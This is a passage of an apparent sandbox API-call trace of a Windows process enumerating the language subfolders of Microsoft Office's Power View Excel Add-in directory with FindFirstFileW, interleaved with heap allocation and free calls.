lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0092.171] GetProcessHeap () returned 0x11a0000 [0092.171] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.171] GetProcessHeap () returned 0x11a0000 [0092.171] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0092.175] GetProcessHeap () returned 0x11a0000 [0092.175] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.175] GetProcessHeap () returned 0x11a0000 [0092.175] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b088 [0092.181] GetProcessHeap () returned 0x11a0000 [0092.181] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.181] GetProcessHeap () returned 0x11a0000 [0092.181] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0092.184] GetProcessHeap () returned 0x11a0000 [0092.184] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.184] GetProcessHeap () returned 0x11a0000 [0092.184] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b308 [0092.187] GetProcessHeap () returned 0x11a0000 [0092.187] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.187] GetProcessHeap () returned 0x11a0000 [0092.187] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0092.190] GetProcessHeap () returned 0x11a0000 [0092.190] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.190] GetProcessHeap () returned 0x11a0000 [0092.190] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0092.194] GetProcessHeap () returned 0x11a0000 [0092.194] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.194] GetProcessHeap () returned 0x11a0000 [0092.194] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0092.198] GetProcessHeap () returned 0x11a0000 [0092.198] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.198] GetProcessHeap () returned 0x11a0000 [0092.198] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0092.201] GetProcessHeap () returned 0x11a0000 [0092.201] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.201] GetProcessHeap () returned 0x11a0000 [0092.201] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b448 [0092.205] GetProcessHeap () returned 0x11a0000 [0092.205] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.205] GetProcessHeap () returned 0x11a0000 [0092.205] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b708 [0092.208] GetProcessHeap () returned 0x11a0000 [0092.208] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.208] GetProcessHeap () returned 0x11a0000 [0092.208] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b0c8 [0092.888] GetProcessHeap () returned 0x11a0000 [0092.888] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.889] GetProcessHeap () returned 0x11a0000 [0092.889] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0092.898] GetProcessHeap () returned 0x11a0000 [0092.898] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0092.898] GetProcessHeap () returned 0x11a0000 [0092.898] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0092.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0093.004] GetProcessHeap () returned 0x11a0000 [0093.004] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0093.004] GetProcessHeap () returned 0x11a0000 [0093.004] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0093.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b088 [0093.866] GetProcessHeap () returned 0x11a0000 [0093.866] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0093.866] GetProcessHeap () returned 0x11a0000 [0093.866] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0093.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0094.759] GetProcessHeap () returned 0x11a0000 [0094.759] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0094.759] GetProcessHeap () returned 0x11a0000 [0094.759] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0094.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b148 [0094.826] GetProcessHeap () returned 0x11a0000 [0094.826] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0094.826] GetProcessHeap () returned 0x11a0000 [0094.826] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0094.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b448 [0094.834] GetProcessHeap () returned 0x11a0000 [0094.834] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0094.834] GetProcessHeap () returned 0x11a0000 [0094.834] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0094.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0094.961] GetProcessHeap () returned 0x11a0000 [0094.961] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0094.961] GetProcessHeap () returned 0x11a0000 [0094.961] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0094.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0095.007] GetProcessHeap () returned 0x11a0000 [0095.007] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.007] GetProcessHeap () returned 0x11a0000 [0095.007] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b348 [0095.082] GetProcessHeap () returned 0x11a0000 [0095.082] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.082] GetProcessHeap () returned 0x11a0000 [0095.082] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b148 [0095.086] GetProcessHeap () returned 0x11a0000 [0095.086] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.086] GetProcessHeap () returned 0x11a0000 [0095.086] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0095.093] GetProcessHeap () returned 0x11a0000 [0095.093] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.093] GetProcessHeap () returned 0x11a0000 [0095.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0095.096] GetProcessHeap () returned 0x11a0000 [0095.097] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.097] GetProcessHeap () returned 0x11a0000 [0095.097] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0095.100] GetProcessHeap () returned 0x11a0000 [0095.100] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.101] GetProcessHeap () returned 0x11a0000 [0095.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0095.105] GetProcessHeap () returned 0x11a0000 [0095.105] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.105] GetProcessHeap () returned 0x11a0000 [0095.105] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0095.866] GetProcessHeap () returned 0x11a0000 [0095.866] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.866] GetProcessHeap () returned 0x11a0000 [0095.866] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b288 [0095.879] GetProcessHeap () returned 0x11a0000 [0095.879] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.879] GetProcessHeap () returned 0x11a0000 [0095.879] RtlAllocateHeap 